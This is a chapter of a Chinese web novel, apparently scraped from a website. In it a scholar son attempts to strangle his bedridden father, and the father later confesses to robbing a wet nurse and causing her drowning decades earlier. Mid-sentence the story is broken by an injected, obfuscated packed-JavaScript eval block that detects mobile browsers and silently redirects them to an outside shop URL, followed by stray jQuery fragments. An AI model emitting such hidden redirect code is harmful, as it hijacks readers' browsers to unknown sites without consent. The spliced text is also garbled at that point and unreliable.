邵父心里紧绷起来，他撑着能活动的手和脚想坐起来，可没人扶他也是徒劳，忙活半晌只能撑着脖子看他。


    邵堂手里拿着一盏豆灯，清俊的眉眼在烛火下显得格外冷峻，眼珠子一瞬不瞬地盯着他看。


    邵父背后冒出汗来，几日都没擦洗，汗了又干，干了又汗，后背上格外瘙痒，“你，你来做什么？”


    他有种很不好的预感。


    “爹，你别怕。”邵堂又抬步走到了床边，将灯放在小桌上，烛火莹莹，照着父子二人。


    邵堂看他脖子费力，主动伸手扶他坐了起来。


    “爹，我来只是想问你一句，说到底我和您，二哥和您，都不至于如此地步，您这又是何苦？”顺着扶他的动作邵堂在床边坐了下来，徐徐地说，“你躺了几日了，娘也不上心了。”


    他出去，将放在门口的水桶提进来，用帕子绞了替邵父擦身。


    因为不似邵远干活多体力好，才擦了背部就鼻尖冒汗，紧接着擦手臂和前胸。


    “你别讨好我，”邵父冷笑一声，“老子拼了命要把这个黑锅扣在朱氏头上，你倒好，抽我的老底向她卖好！别以为我不晓得当初你们之间的勾当，这里头少不了你！你最好对我敬重一些，否则只要我好转能走了，我第一个要做的就是去告朱氏！”


    正擦手臂的邵堂动作一顿，“爹，你真的要将事情做绝？”


    就算他告的是朱颜，到时候要是将自己牵扯出来怎么办？


    今日的事无疑给他敲了警钟，他有理由相信，人在紧要关头，肯定会互相攀扯。知情的人里，大伯父并未沾手，而二哥二嫂有国公府的帮衬，自己呢？严家知道了过去那些事，还会像如今这样对他？


    邵堂想都不敢想。


    “不是我要将事做绝，”邵父冷哼，眼神闪烁，声音似干柴烧过的一样，“我也想明白了，如今这样，跟半个死人没什么区别，我没什么好怕的！说来活了半辈子，原本指望你，可你不争气，要去讨好一个妇人，丢尽了我的脸！你今晚上来不就是替朱氏打听当年那女人死在哪里？告诉你，我不会说，死都不会！”


    “你根本不明白，你就是个见识短浅的农夫！”邵堂眼神一冷，声音缓慢却充满恨意，“你这辈子唯一做对的事，就是送我去学堂。爹，你是我爹，既然你今日愿意帮我栽赃给二嫂，表明你依然指望我这个儿子。”


    他再放低了声音，“既然如此，我觉得有种更适合的方式，你愿意帮我吗？”


    他这样子像匹眼睛冒着精光和算计的豺狼，邵父说话都不会了，背后直冒冷汗，“老三，你，你，你想做什么？”


    不知何时，帮他擦胸前的帕子已经伸到了领子前，邵堂的手像一对毒蛇的獠牙慢慢爬上他的脖子，“爹，邵家祖上并未出过什么人，我就是邵姓一族的希望，我拼劲全力才有了今日，只要你闭嘴，所有事都会被埋葬，我不能再赌了，也没有本钱再赌，求你了，你帮我最后一把吧——”


    邵父意识到了什么。


    可没等他喊出声，那獠牙露出，他脖子上也开始了收紧。


    人就是这样，虽然瞪眼不屑，说自己不怕死，可真要面对死亡了，却依然害怕，几乎是立刻就后悔了。


    “老三……你你……要居然想杀……你老子！”


    他硬撑着断断续续地说。


    因为用力，邵堂眼睛充血，额头的青筋都鼓了起来，手更是发颤得不行。


    “爹，你帮我，你帮帮我！只要你死了，只要将你埋了，就没人能发现这件事！”


    邵父五内俱焚，满心惶恐，什么朱氏，什么老二，他现在谁也不恨谁也不想，他只想活！


    他脚上乱蹬，手上乱飞舞，踢抓地油灯都掉在了地上，褥子更是乱作一团。


    隔壁的鼾声停了一停，却因为声响不大，又继续打起了鼾。


    邵父绝望了。


    现在的邵堂在他的眼里，根本不是他的儿子，跟地狱来的恶鬼没什么分别。


    他只想活命。


    “你……放……开……我！”邵父拼劲力气试图抓他的脸，却被他躲过，只擦刮到了邵堂的脖子，鲜红一记。


    “爹，只要孝期一满，我就是阁老的孙女婿，以后留任京官，咱们邵家以后就飞黄腾达，你难道不想吗？”邵堂喃喃着，神情格外冷静癫狂，却只有他自己知道他现在胸膛里燃烧着熊熊恨意，越想手上的劲儿越大，他低声喊道，“您帮我最后一把吧！”


    油灯被打倒在地，捻子没了油，很快熄灭，屋子里顿时漆黑一片。


    邵远被朱颜一说，有些睡不着，加上方才听到主屋那边传来动静，他不放心，看了眼已经熟睡的妻女，起身出去查看。


    才出去，就撞上要进西屋的邵堂。


    “这么晚了你不在屋里，去干什么了？”邵远疑惑。


    即便是油灯底下，依然能看出邵堂脸上出了很多汗，脸也发红，只不过他脸色平淡道：“爹找我有事，我去了一趟。”


    这么晚了，还有什么事好说的？


    邵远更加困惑了，却见邵堂脖子上一记红，忍不住问。


    邵堂像是才意识到，摸了一下，不在意笑了笑：“可能刮到哪里了，二哥，你早些睡吧，明日我们还要去里正那里拜访。”神色自然并无异样。


    流水席办完了，也要将回汴京的事提说上话，因此里正髦正那里都要挨着拜访感谢。


    邵远点点头，没想太多回屋睡下了。


    第二日起来，正屋传来杨桂花一声尖叫。


    “有鬼要我的命！有鬼，这屋里有鬼！”


    几兄弟都被引进了正屋，却看到原本该躺在床板上的邵父此时缩藏在床底下，也不知他费了多大的力气爬进去的，整个人有种异样的疯癫，连连说屋里有鬼。


    尤其是看到邵堂进来，更是摸着脖子上的一道青紫瘢痕，一副活见鬼似得样子赶紧将头埋了下去，口里还依旧喃喃自语，十分不正常。


    邵近一拍大腿，“这是怎么了？”


    杨桂花哭道：“愣着干嘛，快去请郎中来瞧瞧，不，去请个神仙来，他这是被魇着了！”


    “请郎中得花不少银子，请神仙更别提，去岁村后的一家媳妇也是梦魇着了，花了好十几两呢！娘，爹反正都这样了，咱们别花那冤枉钱了。”邵近犹豫着提议。


    杨桂花又恨又恼，差点一口气没上来，只管瞪着他：“你还是不是人，你亲爹这样了你还算那几两银子的帐！”


    “我不是担心钱打水漂嘛！”邵近嘟囔道，“更何况咱们都分家了，你们当时说了是跟着老三的，现在花这钱，算谁的？”


    一头是胡言乱语疯疯癫癫的邵父，一头是三个离心算计的儿子，杨桂花绝望了，连嚎丧的力气都没了。


    这都是造的什么孽啊！


    然而哭解决不了问题，邵近两手一摊不管，邵远看向朱颜，显然是要看她的意思行事。


    杨桂花只能盯着邵堂，希望他能拿个主意。


    “是要请大夫，”邵堂说，“不过爹这样，就怕大夫来了他说出什么不该说的来，把他捆了，嘴塞上，大夫要问，就说他乱咬人。”


    杨桂花还想说什么，迎面看到邵堂脸上的阴沉，顿时哑了火。


    请的还是隔壁村的钱郎中，钱郎中来看过后，摇摇头：“怕是受了刺激，或是病痛折磨，才导致急火攻心心智生变……这病不好医治，更难能恢复。”


    邵堂追问：“多养几年，可会好？”


    钱郎中说不准，自然不敢胡乱许言，只道：“看着身体差，实则底子不错，多吃点补点就能养好。只是脑子里的事就得看天意了，说不准哪日就能好，可也说不准一辈子都好不了。”


    邵堂的眉头松了下来，心情也舒畅了一些，主动送钱郎中出去。


    朱颜也谢过钱郎中，目送他们。


    邵远看着已经松绑，四肢躺平在床板上的邵父，口中依然喃喃自语，显然是还疯着。


    看到他脖子上的掐痕，结合昨日夜里的情形，他似乎明白了什么。


    “颜娘，邵堂挺狠。”他将昨晚上的事和朱颜说了，不知是何滋味，只能感叹一句。


    朱颜摇头：“他狠是真的，你爹心硬也是真的。莫非真叫我猜中了，你爹当时并非捡到你，而是偷来的？”


    关于乳母的事，国公夫人也不知内情，对于邵父一个将死之人，又毕竟抚养邵远一场，因此她只希望邵父能将乳娘的下落说出来，也好将她这个恩人的尸骨收回好好安葬，算是国公夫人能替她做的最后一件事。


    “不管是捡的还是偷的，他宁愿死也不说，只怕不是什么好事。”邵远猜测。


    朱颜往最坏处想：“说不准……还有人命在里头。”


    否则解释不了明明邵远身份特殊，邵父却不愿意将他送去汴京换赏钱，而是当作养子欺压，甚至连邵堂的前程也宁肯不要。


    正说着，邵堂回来了：“二哥二嫂，钱郎中说隔壁村的周举人回来了，我想过去拜访一下。”


    周举人三十多岁才中举，在家丁忧几年，一除服就得同年好友举荐去了外地任县丞，算是门路宽广，邵堂去拜访也是正理。


    看他神色自若，朱颜试探问：“……你昨晚是不是去过主屋？”


    “是去过，我去看看爹怎么样了。”邵堂反而问她，“二嫂，你怎么忽然这么问？”


    朱颜没有证据，她摇摇头，什么也没说，看他出门去。


    莲花拉了朱颜去请教作画，灵姐跟着朗哥跑出去玩，周四娘问朱颜：“你们什么时候走？”


    “钱郎中说的你也听到了，看他这样一时半会死不了。”朱颜说，要是邵父死了，邵远也得留下，只有她自己带着灵姐以“携孤避丧”的名义回汴京。


    但如今他求生意志强，吃好喝好也能养好身体，他们就没道理继续在村里待着。


    周四娘道：“大伯给你们去信说是报信，实则是想让你们回来长脸，你瞧公爹这样子，都风瘫了半边，还神志不清，然而今早上还能活蹦乱跳，哪里像要死的人？我看至少还能活十几年！”


    朱颜忍俊不禁，莲花侧耳听着，也忍不住插嘴：“娘，二婶婶要是走，我想请她去咱们那儿住几日，你说好不好？”


    “好，当然好。”周四娘笑着答应。


    “我，也要去！”灵姐笑嘻嘻插嘴。


    周四娘轻轻拍了拍她的腮肉：“好好，灵姐儿也去！”


    这头一屋子女人说话聊天，邵远听着心里也畅快，正要出去，却听主屋里一阵乱响。


    原本他是不想管的，但偏偏杨桂花不见了踪影，他还是拔腿去了主屋。


    见扶着自己起来的是邵远，邵父似乎恢复了点神志清醒：“老二？是你。”


    “是我，”邵远面无表情，将他扶到床上，转身就走，“你好好躺着，我走了。”


    谁知衣裳却被邵父拉住：“老二，你，你是不是很想知道抱你走的那个妇人在哪儿？只要你背我去村里的祠堂，我就告诉你，你想知道什么我都说。”


    邵远回头，看到邵父眼里闪烁的光，会算计，会讨价还价，分明就是个正常人。


    他一瞬间明白，邵父是装疯的。


    “不必了，我不想知道。”邵远摇头拒绝，“再说你装疯卖傻，就不怕邵堂晓得了又掐死你？”


    邵父嘴角一抽，眼神里却有了点他自己都没能察觉的恐惧，只不过强自镇定。


    “你不必担心这个，我自问你，我说的话你听不听，只需要将我背到祠堂，其余的你不用管。”


    “你要去祠堂作甚？去将邵堂的所作所为一一抖落？”


    “我辛苦养他多年，现在他为了这事居然要我的命，我不能忍！”邵父怨毒的眼神浮现，牙根都在磨着。


    邵远沉默以对。


    他不说话，邵父心里就有点发慌没底。


    他心知，自己还能和邵远说这些，邵远也愿意听他说，全赖自己捏着当年的事做钩子，这是他的筹码。


    可现在邵远一副无谓的模样，让他以为的那些都变成了心虚。


    “老二，就算我对你冷眼多年，可你吃穿不差，也长得这样好，至少没让你去要饭为生，你总得念一下这份情吧？”邵父赶紧打感情牌，“还有你娘，你忍心让她后半辈子都在村里人的冷嘲热讽中度过？”


    邵远的确有点犹豫。


    邵父见有戏，赶紧添一把火：“我去祠堂不过是为了让邵堂服个软，只要村里人看到他服软，我就满足了，没别的意思，你别乱想。”


    邵远看着他，却依旧没吭声。


    邵父心里有点火气，语气就不好了：“行不行你说句话。”


    谁知邵远忽然说：“爹，我在你眼里，是不是一直都很蠢？”


    邵父一愣，不知其意。


    “你说要去祠堂，只是为了让三弟服软，但要做到，你怎么会只是诉苦？是不是还会逼着我们三兄弟都要向你下跪服软？重立你在村里人心中的印象？”邵远毫不留情，直接拆穿。


    邵父有些羞怒，他方才的和睦相商顿时变换成了阴沉沉的脸色。


    邵远摇摇头：“从今日起，我不打算管你和三弟之间的事了，你也不必再与我说这些。”


    他正要出去，见朱颜迎面进来。


    “你来做什么！”邵父怨恨朱颜，几乎是立刻喊起来。


    朱颜好整


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17386128|185013||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    以暇：“公爹，实话说，如果我是你，就会将自己所有知道的都说出来，以换得自己的性命无忧。”


    邵父很想问她怎么保证他将来的确性命无忧，却听她又道：“怎么样，交换吗？”


    “你能确保？你凭什么保证？”邵父不信。


    他是真的怕了，邵堂已经不是从前那个邵堂，他心知自己如果不想法子，说不定他真的会下一记药直接毒死自己一了百了！


    看着嘴上一直说不怕死的邵父，此时却跟自己讨价还价的样子，朱颜轻蔑一笑：“你想求生，邵堂就无需守孝丁忧，这对他来说并无坏处，他担心的不过是你到处胡说，让人知道他的所做所为影响仕途。只要你答应搬去村后山大哥那里，从此再不外出，那里人户稀少，大哥将你看管，你又闭口不言，想必三弟很愿意让你长长久久的活着。”


    去那儿，那岂不是等同与世隔绝？邵父心里咯噔一下，不知该不该应。


    “不愿意也无妨……”朱颜慢慢说，“乳娘的尸首我们慢慢找，总有一日找得到。但昨夜发生了什么，想必你比我们更清楚。三弟已经被你逼得无路可走了，你要是还继续如此，我们谁也不能保证今晚他会不会再对你动手。”


    邵父生怕她不管，毕竟现在他躺在床板上，家里的人除了杨桂花还能使唤，根本没人听她的，要是老二两口子走了，他连讨价还价的人都没了，几乎是想也不想，立刻道：“我去，我去，我去就是了！”


    但却是无比的不甘心，更觉得凄凉，自己疼的儿子要掐死自己，他现在反倒要和最厌恶的儿媳妇谈条件。


    不管怎样，终于松了口。


    朱颜点点头，问：“你当年是在哪里碰见的乳娘？”


    国公夫人后来派人去观音庙附近找过，然而一无所踪，因此她猜测管事护着乳娘成功逃脱了，就是不知她往哪个方向去。


    “在观音庙东南方向约十七八里地的小河边，当时她跑得已经没力气了，身上还被射了一箭，所以她就将孩子托付给我，让我先养几日，等安稳了再送到汴京去，还说了个当铺的名字，到时将玉佩给出去，就会有人来接走孩子，还会给我一大笔酬劳。”邵父回忆往昔，慢慢地说。


    “那你为什么不送？”朱颜问。


    邵父冷哼一声，摇摇头：“你们怎知那时候的乱？兵祸灾年，到处都是流民，更别提去汴京了，我根本不敢去，正好有同乡要回来，我索性跟着他一道先回了村里安顿，想着等以后再说。”


    朱颜发现了不对劲，不动声色道：“乳娘也给了你一些银子和值钱的物件吧？否则你回乡如何置地买牛？”


    “自然是。”邵父不住点头，却眼神闪烁，“她知道自己命不久矣，留着也是无用，就给我了。”


    然而朱颜却没再追问。


    气氛宁静到诡异。


    邵父自己先慌张起来：“你，你们不信？老二，你那块手指大系红绳的玉佩就是她给我的，当时的确是这样——”


    朱颜想到了国公夫人的话：“乳娘命苦，他丈夫为了替国公爷挡箭死了，我见她孤儿寡母可怜所以时常接济，她主动提出要给阿满做乳娘，她一片赤诚护佑阿满，我若是不能找到她的尸首将她下葬，我这辈子也于心难安。”


    又提及乳娘的衣裳特征，国公夫人想了想，说：“多年过去，皮相早已化腐，只不过她脖子上一定是有一块手指大的小玉佩，是她亡夫所赠，曾说过死也要带着下葬，必不会交给外人。若是还能找到，自可为证。”


    无意间，邵父已经自行露出了马脚。


    朱颜懒得和他废话，径直道：“你要是不说实话，那也没什么好说的。”说着就要起身。


    邵远冷冷看了一眼邵父，也跟着起身。


    邵父慌了，他有预感，若是老二两口子一走，绝对不可能再有第三个人帮他。


    他咬咬牙，想着自己都这样了，难道还怕官府来拿？更何况自己有事，邵堂官途也就毁了，邵堂不允许，朱氏也不会看着不管。


    “她，她是我推下河溺死的！”邵父索性急急道。


    邵远猛然回头，不可置信地瞪着他：“你说什么？”


    藏匿多年的事猛然说出口，却没有意料中的艰难，反而有些轻松，他反而笑了起来，露出一口黑牙，笑容里的恶意明显：“她没有中箭，也并未受伤，只是跑得太远太累在河道旁歇脚，我见她怀抱孩子，身上穿得不错，头上更是有两根钗子，就起了心。想着出远门一趟没挣着一文钱，不知回去如何交待，正巧碰见她昏睡，就想去摘她头上的钗子。谁知她忽然醒过来，叫起来，我心里一慌，就要推她下河，她就哭求，说身上还有几十两银票，让我放过她。”


    “所以你就将她推下河了？”邵远震惊，追问。


    “哼，她是个蠢的，我说只要她将钱给我，我就帮她出去，她乖乖照做了。”


    “我看到她脖子上还有块玉佩，却说什么都不给我，我心一横，就要推她，她也是个硬气的，只将你交给我，说只要我去汴京找到那家当铺，就能换一大笔钱，话说完自己跳进了河里溺死了。”


    一条人命，在他口中变成了轻飘飘的一句话。


    “可你没去汴京，去汴京车船费价贵，你怕乳娘说的只是为了让你把孩子送去汴京而扯谎，然而乳娘溺死等同于你下的手，你害怕被人查出来，所以你干脆将孩子带了回来当养子。”朱颜看着他，替他补充，“对外人说是他父母托付给你的，还给了你一大笔银子，将此事蒙混了过去。”


    “可你又不甘心将邵远送走，因此留着他，只等着将来有一日真能如乳娘所说，用他换笔巨款。”


    “然而邵远一天天长大，邵堂书又念的好，你害怕有人查到当年的事，所以你干脆打压邵远，让他做最累最脏的活，让他一辈子的都只能在你的眼皮子底下求生，看着他卑微地像条狗似得小心翼翼讨好你。”


    “你会想，富贵人家的儿子又如何，还不是任你使唤，成了跟牲口一样耕地，成了供给邵家养分的工具。”


    她语气平淡，可说的话却让另外两个人的心如擂鼓般同时一震。


    邵远口里全是苦涩，他看着朱颜，心想，要不是颜娘，自己这辈子都不会去汴京，浑浑噩噩一生，至死都不知原来自己的生父生母还健在。


    可阴差阳错，他不能认回父母，养父母又从未对他有过一丝温情，连当初以为的恻隐之心，都只是为了家里能多一个劳动力，或是留着将来换钱的筹码。


    他满心悲愤，却无处抒发，眼中凄苦。


    屋里寂静，门口却传来一声响动，回头看，居然是杨桂花，也不知她在门口站了多久，脸色煞白，被几人发现后更是慌慌张张地。